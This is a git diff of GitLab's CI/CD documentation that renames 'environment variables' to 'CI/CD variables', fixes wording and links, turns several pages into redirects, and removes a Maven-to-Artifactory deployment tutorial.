variables](../variables/README.md#custom-environment-variables-of-type-file). - In your project, go to **Settings > CI / CD > Variables** and add - the three variables listed above as file-typed environment variables. - For each variable, set the value to its corresponding JSON object. + - Alternatively, you can provide these JSON objects as [file-typed CI/CD variables](../variables/README.md#custom-cicd-variables-of-type-file). + In your project, go to **Settings > CI/CD > Variables** and add + the three variables listed above as file-typed CI/CD variables. + For each variable, set the value to its corresponding JSON object. -1. Provide the name of the stack you're creating and/or targeting, as an environment variable: +1. Provide the name of the stack you're creating and/or targeting, as a CI/CD variable: ```yaml variables: @@ -286,7 +286,7 @@ When running your project pipeline at this point: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216008) in GitLab 13.6. To leverage [Auto DevOps](../../topics/autodevops/index.md) for your project when deploying to -AWS EC2, first you must define [your AWS credentials as environment variables](#run-aws-commands-from-gitlab-cicd). +AWS EC2, first you must define [your AWS credentials as CI/CD variables](#run-aws-commands-from-gitlab-cicd). Next, define a job for the `build` stage. To do so, you must reference the `Auto-DevOps.gitlab-ci.yml` template and include a job named `build_artifact` in your @@ -299,7 +299,7 @@ include: - template: Auto-DevOps.gitlab-ci.yml variables: - - AUTO_DEVOPS_PLATFORM_TARGET: EC2 + AUTO_DEVOPS_PLATFORM_TARGET: EC2 build_artifact: stage: build diff --git a/doc/ci/directed_acyclic_graph/index.md b/doc/ci/directed_acyclic_graph/index.md index a8ce46b9845..5089aa6c9a5 100644 --- a/doc/ci/directed_acyclic_graph/index.md +++ b/doc/ci/directed_acyclic_graph/index.md @@ -82,11 +82,8 @@ are certain use cases that you may need to work around. For more information: ## Needs Visualization > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215517) in GitLab 13.1 as a [Beta feature](https://about.gitlab.com/handbook/product/#beta). -> - It was deployed behind a feature flag, disabled by default. -> - It became [enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36802) in 13.2. > - It became a [standard feature](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38517) in 13.3. -> - It's enabled on GitLab.com. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-needs-visualization). +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52208) in GitLab 13.9. The needs visualization makes it easier to visualize the relationships between dependent jobs in a DAG. This graph displays all the jobs in a pipeline that need or are needed by other jobs. Jobs with no relationships are not displayed in this view. @@ -97,16 +94,3 @@ To see the needs visualization, click on the **Needs** tab when viewing a pipeli Clicking a node highlights all the job paths it depends on.  - -### Enable or disable Needs Visualization **(CORE ONLY)** - -The needs visualization is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can opt to disable it for your instance: - -```ruby -# Instance-wide -Feature.disable(:dag_pipeline_tab) -# or by project -Feature.disable(:dag_pipeline_tab, Project.find(<project ID>)) -``` diff --git a/doc/ci/docker/README.md b/doc/ci/docker/README.md index 2b97f317fc1..c94d6e3ea80 100644 --- a/doc/ci/docker/README.md +++ b/doc/ci/docker/README.md @@ -1,18 +1,8 @@ --- -stage: Verify -group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -comments: false -type: index +redirect_to: 'index.md' --- -# Docker integration +This document was moved to [another location](index.md). -GitLab CI/CD can be combined with [Docker](https://www.docker.com) to enable -integration between the two. - -The following documentation is available for using GitLab CI/CD with Docker: - -- [Using Docker images](using_docker_images.md). -- [Building Docker images with GitLab CI/CD](using_docker_build.md). -- [Building images with kaniko and GitLab CI/CD](using_kaniko.md). +<!-- This redirect file can be deleted after 2021-05-01. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/docker/index.md b/doc/ci/docker/index.md new file mode 100644 index 00000000000..18a9d63b694 --- /dev/null +++ b/doc/ci/docker/index.md @@ -0,0 +1,18 @@ +--- +stage: Verify +group: Continuous Integration +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +comments: false +type: index +--- + +# Docker integration + +GitLab CI/CD can be combined with [Docker](https://www.docker.com) to enable +integration between the two. + +The following documentation is available for using GitLab CI/CD with Docker: + +- [Building Docker images with GitLab CI/CD](using_docker_build.md). +- [Using Docker images](using_docker_images.md). +- [Building images with kaniko and GitLab CI/CD](using_kaniko.md). diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md index af88a006156..46ced9b4d6d 100644 --- a/doc/ci/docker/using_docker_build.md +++ b/doc/ci/docker/using_docker_build.md @@ -126,7 +126,7 @@ not without its own challenges: instance of Docker engine so they don't conflict with each other. But this also means that jobs can be slower because there's no caching of layers. - By default, Docker 17.09 and higher uses `--storage-driver overlay2` which is - the recommended storage driver. See [Using the overlayfs driver](#use-the-overlayfs-driver) + the recommended storage driver. See [Using the OverlayFS driver](#use-the-overlayfs-driver) for details. - Since the `docker:19.03.12-dind` container and the runner container don't share their root file system, the job's working directory can be used as a mount point for @@ -801,7 +801,7 @@ NOTE: The shared runners on GitLab.com use the `overlay2` driver by default. By default, when using `docker:dind`, Docker uses the `vfs` storage driver which -copies the filesystem on every run. This is a disk-intensive operation +copies the file system on every run. This is a disk-intensive operation which can be avoided if a different driver is used, for example `overlay2`. ### Requirements @@ -830,7 +830,7 @@ which can be avoided if a different driver is used, for example `overlay2`. ### Use the OverlayFS driver per project You can enable the driver for each project individually by using the `DOCKER_DRIVER` -environment [variable](../yaml/README.md#variables) in `.gitlab-ci.yml`: +[CI/CD variable](../yaml/README.md#variables) in `.gitlab-ci.yml`: ```yaml variables: diff --git a/doc/ci/docker/using_docker_images.md b/doc/ci/docker/using_docker_images.md index 630e106b72c..67450d442a9 100644 --- a/doc/ci/docker/using_docker_images.md +++ b/doc/ci/docker/using_docker_images.md @@ -91,7 +91,7 @@ Services inherit the same DNS servers, search domains, and additional hosts as the CI container itself. You can see some widely used services examples in the relevant documentation of -[CI services examples](../services/README.md). +[CI services examples](../services/index.md). ### How services are linked to the job @@ -272,11 +272,11 @@ test: - bundle exec rake spec ``` -## Passing environment variables to services +## Passing CI/CD variables to services -You can also pass custom environment [variables](../variables/README.md) +You can also pass custom CI/CD [variables](../variables/README.md) to fine tune your Docker `images` and `services` directly in the `.gitlab-ci.yml` file. -For more information, read [custom environment variables](../variables/README.md#gitlab-ciyml-defined-variables) +For more information, read about [`.gitlab-ci.yml` defined variables](../variables/README.md#gitlab-ciyml-defined-variables). ```yaml # The following variables are automatically passed down to the Postgres container @@ -528,7 +528,7 @@ To access private container registries, the GitLab Runner process can use: To define which should be used, the GitLab Runner process reads the configuration in the following order: - `DOCKER_AUTH_CONFIG` variable provided as either: - - A [variable](../variables/README.md#gitlab-cicd-environment-variables) in `.gitlab-ci.yml`. + - A [CI/CD variable](../variables/README.md) in `.gitlab-ci.yml`. - A project's variables stored on the projects **Settings > CI/CD** page. - `DOCKER_AUTH_CONFIG` variable provided as environment variable in `config.toml` of the runner. - `config.json` file placed in `$HOME/.docker` directory of the user running GitLab Runner process. @@ -627,7 +627,7 @@ Use one of the following methods to determine the value of `DOCKER_AUTH_CONFIG`: To configure a single job with access for `registry.example.com:5000`, follow these steps: -1. Create a [variable](../variables/README.md#gitlab-cicd-environment-variables) `DOCKER_AUTH_CONFIG` with the content of the +1. Create a [CI/CD variable](../variables/README.md) `DOCKER_AUTH_CONFIG` with the content of the Docker configuration file as the value: ```json @@ -702,7 +702,7 @@ To configure credentials store, follow these steps: 1. Make GitLab Runner use it. There are two ways to accomplish this. Either: - Create a - [variable](../variables/README.md#gitlab-cicd-environment-variables) + [CI/CD variable](../variables/README.md) `DOCKER_AUTH_CONFIG` with the content of the Docker configuration file as the value: @@ -734,7 +734,7 @@ To configure access for `aws_account_id.dkr.ecr.region.amazonaws.com`, follow th Make sure that GitLab Runner can access the credentials. 1. Make GitLab Runner use it. There are two ways to accomplish this. Either: - - Create a [variable](../variables/README.md#gitlab-cicd-environment-variables) + - Create a [CI/CD variable](../variables/README.md) `DOCKER_AUTH_CONFIG` with the content of the Docker configuration file as the value: @@ -781,13 +781,13 @@ registries to the `"credHelpers"` hash as described above. Many services accept environment variables, which you can use to change database names or set account names, depending on the environment. -GitLab Runner 0.5.0 and up passes all YAML-defined variables to the created +GitLab Runner 0.5.0 and up passes all YAML-defined CI/CD variables to the created service containers. For all possible configuration variables, check the documentation of each image provided in their corresponding Docker hub page. -All variables are passed to all services containers. It's not +All CI/CD variables are passed to all services containers. It's not designed to distinguish which variable should go where. ### PostgreSQL service example diff --git a/doc/ci/docker/using_kaniko.md b/doc/ci/docker/using_kaniko.md index 7eb2a8286c7..2122cf2bf16 100644 --- a/doc/ci/docker/using_kaniko.md +++ b/doc/ci/docker/using_kaniko.md @@ -49,7 +49,7 @@ In the following example, kaniko is used to: The job runs only when a tag is pushed. A `config.json` file is created under `/kaniko/.docker` with the needed GitLab Container Registry credentials taken from the -[environment variables](../variables/README.md#predefined-environment-variables) +[predefined CI/CD variables](../variables/README.md#predefined-cicd-variables) GitLab CI/CD provides. In the last step, kaniko uses the `Dockerfile` under the @@ -76,7 +76,7 @@ If you use a custom GitLab Runner behind an http(s) proxy, kaniko needs to be se up accordingly. This means: - Adding the proxy to `/kaniko/.docker/config.json` -- Passing the `http_proxy` environment variables as build args so the Dockerfile +- Passing the `http_proxy` environment variables as build arguments so the Dockerfile instructions can use the proxy when building the image. The previous example can be extended as follows: diff --git a/doc/ci/enable_or_disable_ci.md b/doc/ci/enable_or_disable_ci.md index f59e32fb46d..72fd9833df1 100644 --- a/doc/ci/enable_or_disable_ci.md +++ b/doc/ci/enable_or_disable_ci.md @@ -13,7 +13,7 @@ To effectively use GitLab CI/CD, you need: of your project. - A [runner](runners/README.md) properly set up. -You can read our [quick start guide](quick_start/README.md) to get you started. +You can read our [quick start guide](quick_start/index.md) to get you started. If you are using an external CI/CD server like Jenkins or Drone CI, it is advised to disable GitLab CI/CD in order to not have any conflicts with the commits status diff --git a/doc/ci/environments.md b/doc/ci/environments.md deleted file mode 100644 index 2ce0618c8e7..00000000000 --- a/doc/ci/environments.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'environments/index.md' ---- - -This document was moved to [another location](environments/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md index 4dac076ffb7..eecc8ffd18f 100644 --- a/doc/ci/environments/deployment_safety.md +++ b/doc/ci/environments/deployment_safety.md @@ -110,7 +110,7 @@ for an explanation of these roles and the permissions of each. Production secrets are needed to deploy successfully. For example, when deploying to the cloud, cloud providers require these secrets to connect to their services. In the project settings, you can -define and protect environment variables for these secrets. [Protected variables](../variables/README.md#protect-a-custom-variable) +define and protect CI/CD variables for these secrets. [Protected variables](../variables/README.md#protect-a-custom-variable) are only passed to pipelines running on [protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines don't get the protected variable. You can also @@ -141,7 +141,7 @@ reference a file in another project with a completely different set of permissio In this scenario, the `gitlab-ci.yml` is publicly accessible, but can only be edited by users with appropriate permissions in the other project. -For more information, see [Custom CI configuration path](../pipelines/settings.md#custom-ci-configuration-path). +For more information, see [Custom CI/CD configuration path](../pipelines/settings.md#custom-cicd-configuration-path). ## Troubleshooting diff --git a/doc/ci/environments/environments_dashboard.md b/doc/ci/environments/environments_dashboard.md index 84f8b1b1dbf..ef222ba5779 100644 --- a/doc/ci/environments/environments_dashboard.md +++ b/doc/ci/environments/environments_dashboard.md @@ -36,7 +36,7 @@ environments are not displayed. To add a project to the dashboard: -1. Click the **Add projects** button in the homescreen of the dashboard. +1. Click the **Add projects** button in the home screen of the dashboard. 1. Search and add one or more projects using the **Search your projects** field. 1. Click the **Add projects** button. @@ -53,4 +53,4 @@ You can add up to 150 projects for GitLab to display on this dashboard. GitLab.com users can add public projects to the Environments Dashboard for free. If your project is private, the group it belongs -to must have a [GitLab Silver](https://about.gitlab.com/pricing/) plan. +to must have a [GitLab Premium](https://about.gitlab.com/pricing/) plan. diff --git a/doc/ci/environments/incremental_rollouts.md b/doc/ci/environments/incremental_rollouts.md index 15eb4d2c526..39e3dd1ca75 100644 --- a/doc/ci/environments/incremental_rollouts.md +++ b/doc/ci/environments/incremental_rollouts.md @@ -117,6 +117,10 @@ available, [demonstrating configuration of timed rollouts](https://gitlab.com/gl ## Blue-Green Deployment +NOTE: +As of GitLab 13.7, teams can leverage an Ingress annotation and [set traffic weight](../../user/project/canary_deployments.md#how-to-change-the-traffic-weight-on-a-canary-ingress) +as an alternative approach to the blue-green deployment strategy documented here. + Also sometimes known as A/B deployment or red-black deployment, this technique is used to reduce downtime and risk during a deployment. When combined with incremental rollouts, you can minimize the impact of a deployment causing an issue. diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md index 7bf30ef1b95..b49fcd72172 100644 --- a/doc/ci/environments/index.md +++ b/doc/ci/environments/index.md @@ -57,7 +57,7 @@ Configuring environments involves: The rest of this section illustrates how to configure environments and deployments using an example scenario. It assumes you have already: -- Created a [project](../../gitlab-basics/create-project.md) in GitLab. +- Created a [project](../../user/project/working_with_projects.md#create-a-project) in GitLab. - Set up [a runner](../runners/README.md). In the scenario: @@ -135,12 +135,12 @@ In summary, with the above `.gitlab-ci.yml` we have achieved the following: job deploys our code to a staging server while the deployment is recorded in an environment named `staging`. -#### Environment variables and runners +#### CI/CD variables and runners Starting with GitLab 8.15, the environment name is exposed to the runner in two forms: -- `$CI_ENVIRONMENT_NAME`. The name given in `.gitlab-ci.yml` (with any variables +- `$CI_ENVIRONMENT_NAME`. The name given in `.gitlab-ci.yml` (with any CI/CD variables expanded). - `$CI_ENVIRONMENT_SLUG`. A "cleaned-up" version of the name, suitable for use in URLs, DNS, etc. @@ -221,7 +221,7 @@ The assigned URL for the `review/your-branch-name` environment is [visible in th Note the following: - `stop_review` doesn't generate a dotenv report artifact, so it doesn't recognize the - `DYNAMIC_ENVIRONMENT_URL` variable. Therefore you shouldn't set `environment:url:` in the + `DYNAMIC_ENVIRONMENT_URL` environment variable. Therefore you shouldn't set `environment:url:` in the `stop_review` job. - If the environment URL isn't valid (for example, the URL is malformed), the system doesn't update the environment URL. @@ -313,9 +313,9 @@ Dynamic environments are a fundamental part of [Review apps](../review_apps/inde The `name` and `url` keywords for dynamic environments can use most available CI/CD variables, including: -- [Predefined environment variables](../variables/README.md#predefined-environment-variables) -- [Project and group variables](../variables/README.md#gitlab-cicd-environment-variables) -- [`.gitlab-ci.yml` variables](../yaml/README.md#variables) +- [Predefined CI/CD variables](../variables/README.md#predefined-cicd-variables) +- [Project and group CI/CD variables](../variables/README.md) +- [`.gitlab-ci.yml` CI/CD variables](../yaml/README.md#variables) However, you cannot use variables defined: @@ -327,7 +327,7 @@ For more information, see [Where variables can be used](../variables/where_varia #### Example configuration -Runners expose various [environment variables](../variables/README.md) when a job runs, so +Runners expose various [predefined CI/CD variables](../variables/predefined_variables.md) when a job runs, so you can use them as environment names. In the following example, the job deploys to all branches except `master`: @@ -825,7 +825,7 @@ build with the specified environment runs. Newer deployments can also You may want to specify an environment keyword to [protect builds from unauthorized access](protected_environments.md), or to get -access to [scoped variables](#scoping-environments-with-specs). In these cases, +access to [environment-scoped variables](#scoping-environments-with-specs). In these cases, you can use the `action: prepare` keyword to ensure deployments aren't created, and no builds are canceled: @@ -846,7 +846,7 @@ build: As documented in [Configuring dynamic environments](#configuring-dynamic-environments), you can prepend environment name with a word, followed by a `/`, and finally the branch -name, which is automatically defined by the `CI_COMMIT_REF_NAME` variable. +name, which is automatically defined by the `CI_COMMIT_REF_NAME` predefined CI/CD variable. In short, environments that are named like `type/foo` are all presented under the same group, named `type`. @@ -1009,9 +1009,9 @@ fetch = +refs/environments/*:refs/remotes/origin/environments/* ### Scoping environments with specs > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2112) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.4. -> - [Scoping for environment variables was moved to Core](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/30779) in GitLab 12.2. +> - [Environment scoping for CI/CD variables was moved to all tiers](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/30779) in GitLab 12.2. -You can limit the environment scope of a variable by +You can limit the environment scope of a CI/CD variable by defining which environments it can be available for. Wildcards can be used and the default environment scope is `*`. This means that @@ -1025,7 +1025,7 @@ with `review/` would have that particular variable. Some GitLab features can behave differently for each environment. For example, you can -[create a secret variable to be injected only into a production environment](../variables/README.md#limit-the-environment-scopes-of-environment-variables). +[create a secret variable to be injected only into a production environment](../variables/README.md#limit-the-environment-scopes-of-cicd-variables). In most cases, these features use the _environment specs_ mechanism, which offers an efficient way to implement scoping within each environment group. @@ -1061,7 +1061,7 @@ environment's operational health. ## Limitations -In the `environment: name`, you are limited to only the [predefined environment variables](../variables/predefined_variables.md). +In the `environment: name`, you are limited to only the [predefined CI/CD variables](../variables/predefined_variables.md). Re-using variables defined inside `script` as part of the environment name doesn't work. ## Further reading diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md index 0e4ad1df65f..2636e59723a 100644 --- a/doc/ci/environments/protected_environments.md +++ b/doc/ci/environments/protected_environments.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: concepts, howto --- -# Protected Environments **(PREMIUM)** +# Protected environments **(PREMIUM)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6303) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.3. @@ -31,7 +31,7 @@ To protect, update, or unprotect an environment, you need to have at least To protect an environment: 1. Navigate to your project's **Settings > CI/CD**. -1. Expand the **Protected Environments** section. +1. Expand the **Protected environments** section. 1. From the **Environment** dropdown menu, select the environment you want to protect. 1. In the **Allowed to Deploy** dropdown menu, select the role, users, or groups you want to give deploy access to. Keep in mind that: diff --git a/doc/ci/examples/README.md b/doc/ci/examples/README.md index 9fa0bb080ac..b48dd561a66 100644 --- a/doc/ci/examples/README.md +++ b/doc/ci/examples/README.md @@ -23,31 +23,35 @@ Examples are available in several forms. As a collection of: The following table lists examples with step-by-step tutorials that are contained in this section: | Use case | Resource | -|:------------------------------|:---------| +|-------------------------------|----------| | Browser performance testing | [Browser Performance Testing with the Sitespeed.io container](../../user/project/merge_requests/browser_performance_testing.md). | | Clojure | [Test a Clojure application with GitLab CI/CD](test-clojure-application.md). | | Deployment with Dpl | [Using `dpl` as deployment tool](deployment/README.md). | | GitLab Pages | See the [GitLab Pages](../../user/project/pages/index.md) documentation for a complete example of deploying a static site. | | End-to-end testing | [End-to-end testing with GitLab CI/CD and WebdriverIO](end_to_end_testing_webdriverio/index.md). | -| Game development | [DevOps and Game Dev with GitLab CI/CD](devops_and_game_dev_with_gitlab_ci_cd/index.md). | -| Java with Maven | [How to deploy Maven projects to Artifactory with GitLab CI/CD](artifactory_and_gitlab/index.md). | -| Java with Spring Boot | [Deploy a Spring Boot application to Cloud Foundry with GitLab CI/CD](deploy_spring_boot_to_cloud_foundry/index.md). | | Load performance testing | [Load Performance Testing with the k6 container](../../user/project/merge_requests/load_performance_testing.md). | | Multi project pipeline | [Build, test deploy using multi project pipeline](https://gitlab.com/gitlab-examples/upstream-project). | -| NPM with semantic-release | [Publish NPM packages to the GitLab Package Registry using semantic-release](semantic-release.md). | +| npm with semantic-release | [Publish npm packages to the GitLab Package Registry using semantic-release](semantic-release.md). | | PHP with Laravel, Envoy | [Test and deploy Laravel applications with GitLab CI/CD and Envoy](laravel_with_gitlab_and_envoy/index.md). | -| PHP with NPM, SCP | [Running Composer and NPM scripts with deployment via SCP in GitLab CI/CD](deployment/composer-npm-deploy.md). | -| PHP with PHPunit, atoum | [Testing PHP projects](php.md). | -| Parallel testing Ruby & JS | [GitLab CI/CD parallel jobs testing for Ruby & JavaScript projects](https://docs.knapsackpro.com/2019/how-to-run-parallel-jobs-for-rspec-tests-on-gitlab-ci-pipeline-and-speed-up-ruby-javascript-testing). | +| PHP with npm, SCP | [Running Composer and npm scripts with deployment via SCP in GitLab CI/CD](deployment/composer-npm-deploy.md). | +| PHP with PHPunit, `atoum` | [Testing PHP projects](php.md). | | Python on Heroku | [Test and deploy a Python application with GitLab CI/CD](test-and-deploy-python-application-to-heroku.md). | | Ruby on Heroku | [Test and deploy a Ruby application with GitLab CI/CD](test-and-deploy-ruby-application-to-heroku.md). | -| Scala on Heroku | [Test and deploy a Scala application to Heroku](test-scala-application.md). | -| Secrets management with Vault | [Authenticating and Reading Secrets With Hashicorp Vault](authenticating-with-hashicorp-vault/index.md). | +| Secrets management with Vault | [Authenticating and Reading Secrets With HashiCorp Vault](authenticating-with-hashicorp-vault/index.md). | + +### Contributed examples -### How to contributing examples +You can help people that use your favorite programming language by submitting a link +to a guide for that language. These contributed guides are hosted externally or in +separate example projects: -Contributions are welcome! You can help your favorite programming -language users and GitLab by sending a merge request with a guide for that language. +| Use case | Resource | +|-------------------------------|----------| +| Game development | [DevOps and Game Development with GitLab CI/CD](https://gitlab.com/gitlab-examples/gitlab-game-demo/). | +| Java with Maven | [How to deploy Maven projects to Artifactory with GitLab CI/CD](https://gitlab.com/gitlab-examples/maven/simple-maven-example). | +| Java with Spring Boot | [Deploy a Spring Boot application to Cloud Foundry with GitLab CI/CD](https://gitlab.com/gitlab-examples/spring-gitlab-cf-deploy-demo). | +| Parallel testing Ruby & JS | [GitLab CI/CD parallel jobs testing for Ruby & JavaScript projects](https://docs.knapsackpro.com/2019/how-to-run-parallel-jobs-for-rspec-tests-on-gitlab-ci-pipeline-and-speed-up-ruby-javascript-testing). | +| Scala on Heroku | [Test and deploy a Scala application to Heroku](https://gitlab.com/gitlab-examples/scala-sbt). | ## CI/CD templates @@ -81,7 +85,7 @@ choose one of these templates: - [LaTeX (`LaTeX.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/LaTeX.gitlab-ci.yml) - [Maven (`Maven.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Maven.gitlab-ci.yml) - [Mono (`Mono.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Mono.gitlab-ci.yml) -- [NPM (`npm.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/npm.gitlab-ci.yml) +- [npm (`npm.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/npm.gitlab-ci.yml) - [Node.js (`Nodejs.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml) - [OpenShift (`OpenShift.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/OpenShift.gitlab-ci.yml) - [Packer (`Packer.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Packer.gitlab-ci.yml) @@ -95,9 +99,9 @@ choose one of these templates: If a programming language or framework template is not in this list, you can contribute one. To create a template, submit a merge request -to <https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates>. +to [the templates list](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates). -### Adding templates to your GitLab installation **(PREMIUM ONLY)** +### Adding templates to your GitLab installation **(PREMIUM SELF)** You can add custom examples and templates to your self-managed GitLab instance. Your GitLab administrator can [designate an instance template repository](../../user/admin_area/settings/instance_template_repository.md) @@ -127,7 +131,7 @@ See also the following video overviews: For some customer experiences with GitLab CI/CD, see: -- [How Verizon Connect reduced datacenter deploys from 30 days to under 8 hours with GitLab](https://about.gitlab.com/blog/2019/02/14/verizon-customer-story/) +- [How Verizon Connect reduced data center deploys from 30 days to under 8 hours with GitLab](https://about.gitlab.com/blog/2019/02/14/verizon-customer-story/) - [How Wag! cut their release process from 40 minutes to just 6](https://about.gitlab.com/blog/2019/01/16/wag-labs-blog-post/) - [How Jaguar Land Rover embraced CI to speed up their software lifecycle](https://about.gitlab.com/blog/2018/07/23/chris-hill-devops-enterprise-summit-talk/) diff --git a/doc/ci/examples/artifactory_and_gitlab/index.md b/doc/ci/examples/artifactory_and_gitlab/index.md index c1df21297e3..a1a7de26cf2 100644 --- a/doc/ci/examples/artifactory_and_gitlab/index.md +++ b/doc/ci/examples/artifactory_and_gitlab/index.md @@ -1,289 +1,8 @@ --- -stage: Verify -group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -disqus_identifier: 'https://docs.gitlab.com/ee/articles/artifactory_and_gitlab/index.html' -author: Fabio Busatto -author_gitlab: bikebilly -type: tutorial -date: 2017-08-15 +redirect_to: '../README.md#contributed-examples' --- -<!-- vale off --> +This document was moved to [another location](../README.md#contributed-examples). -# How to deploy Maven projects to Artifactory with GitLab CI/CD - -## Introduction - -In this article, we show how you can leverage the power of [GitLab CI/CD](https://about.gitlab.com/stages-devops-lifecycle/continuous-integration/) -to build a [Maven](https://maven.apache.org/) project, deploy it to [Artifactory](https://jfrog.com/artifactory/), and then use it from another Maven application as a dependency. - -You'll create two different projects: - -- `simple-maven-dep`: the app built and deployed to Artifactory (see the [simple-maven-dep](https://gitlab.com/gitlab-examples/maven/simple-maven-dep) example project) -- `simple-maven-app`: the app using the previous one as a dependency (see the [simple-maven-app](https://gitlab.com/gitlab-examples/maven/simple-maven-app) example project) - -We assume that you already have a GitLab account on [GitLab.com](https://gitlab.com/), and that you know the basic usage of Git and [GitLab CI/CD](https://about.gitlab.com/stages-devops-lifecycle/continuous-integration/). -We also assume that an Artifactory instance is available and reachable from the internet, and that you have valid credentials to deploy on it. - -## Create the simple Maven dependency - -First, you need an application to work with: in this specific case we'll use a -simple one, but it could be any Maven application. This will be the dependency -you want to package and deploy to Artifactory, to be available to other -projects. - -### Prepare the dependency application - -For this article you'll use a Maven app that can be cloned from our example -project: - -1. Log in to your GitLab account -1. Create a new project by selecting **Import project from > Repo by URL** -1. Add the following URL: - - ```plaintext - https://gitlab.com/gitlab-examples/maven/simple-maven-dep.git - ``` - -1. Click **Create project** - -This application is nothing more than a basic class with a stub for a JUnit based test suite. -It exposes a method called `hello` that accepts a string as input, and prints a hello message on the screen. - -The project structure is really simple, and you should consider these two resources: - -- `pom.xml`: project object model (POM) configuration file -- `src/main/java/com/example/dep/Dep.java`: source of our application - -### Configure the Artifactory deployment - -The application is ready to use, but you need some additional steps to deploy it to Artifactory: - -1. Log in to Artifactory with your user's credentials. -1. From the main screen, click on the `libs-release-local` item in the **Set Me Up** panel. -1. Copy to clipboard the configuration snippet under the **Deploy** paragraph. -1. Change the `url` value to have it configurable by using variables. -1. Copy the snippet in the `pom.xml` file for your project, just after the - `dependencies` section. The snippet should look like this: - - ```xml - <distributionManagement> - <repository> - <id>central</id> - <name>83d43b5afeb5-releases</name> - <url>${env.MAVEN_REPO_URL}/libs-release-local</url> - </repository> - </distributionManagement> - ``` - -Another step you need to do before you can deploy the dependency to Artifactory -is to configure the authentication data. It is a simple task, but Maven requires -it to stay in a file called `settings.xml` that has to be in the `.m2` subdirectory -in the user's homedir. - -Since you want to use a runner to automatically deploy the application, you -should create the file in the project's home directory and set a command line -parameter in `.gitlab-ci.yml` to use the custom location instead of the default one: - -1. Create a folder called `.m2` in the root of your repository -1. Create a file called `settings.xml` in the `.m2` folder -1. Copy the following content into a `settings.xml` file: - - ```xml - <settings xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.1.0 http://maven.apache.org/xsd/settings-1.1.0.xsd" - xmlns="http://maven.apache.org/SETTINGS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> - <servers> - <server> - <id>central</id> - <username>${env.MAVEN_REPO_USER}</username> - <password>${env.MAVEN_REPO_PASS}</password> - </server> - </servers> - </settings> - ``` - - Username and password will be replaced by the correct values using variables. - -### Configure GitLab CI/CD for `simple-maven-dep` - -Now it's time we set up [GitLab CI/CD](https://about.gitlab.com/stages-devops-lifecycle/continuous-integration/) to automatically build, test and deploy the dependency! - -GitLab CI/CD uses a file in the root of the repository, named `.gitlab-ci.yml`, to read the definitions for jobs -that will be executed by the configured runners. You can read more about this file in the [GitLab Documentation](../../yaml/README.md). - -First of all, remember to set up variables for your deployment. Navigate to your project's **Settings > CI/CD > Environment variables** page -and add the following ones (replace them with your current values, of course): - -- **MAVEN_REPO_URL**: `http://artifactory.example.com:8081/artifactory` (your Artifactory URL) -- **MAVEN_REPO_USER**: `gitlab` (your Artifactory username) -- **MAVEN_REPO_PASS**: `AKCp2WXr3G61Xjz1PLmYa3arm3yfBozPxSta4taP3SeNu2HPXYa7FhNYosnndFNNgoEds8BCS` (your Artifactory Encrypted Password) - -Now it's time to define jobs in `.gitlab-ci.yml` and push it to the repository: - -```yaml -image: maven:latest - -variables: - MAVEN_CLI_OPTS: "-s .m2/settings.xml --batch-mode" - MAVEN_OPTS: "-Dmaven.repo.local=.m2/repository" - -cache: - paths: - - .m2/repository/ - - target/ - -build: - stage: build - script: - - mvn $MAVEN_CLI_OPTS compile - -test: - stage: test - script: - - mvn $MAVEN_CLI_OPTS test - -deploy: - stage: deploy - script: - - mvn $MAVEN_CLI_OPTS deploy - only: - - master -``` - -The runner uses the latest [Maven Docker image](https://hub.docker.com/_/maven/), 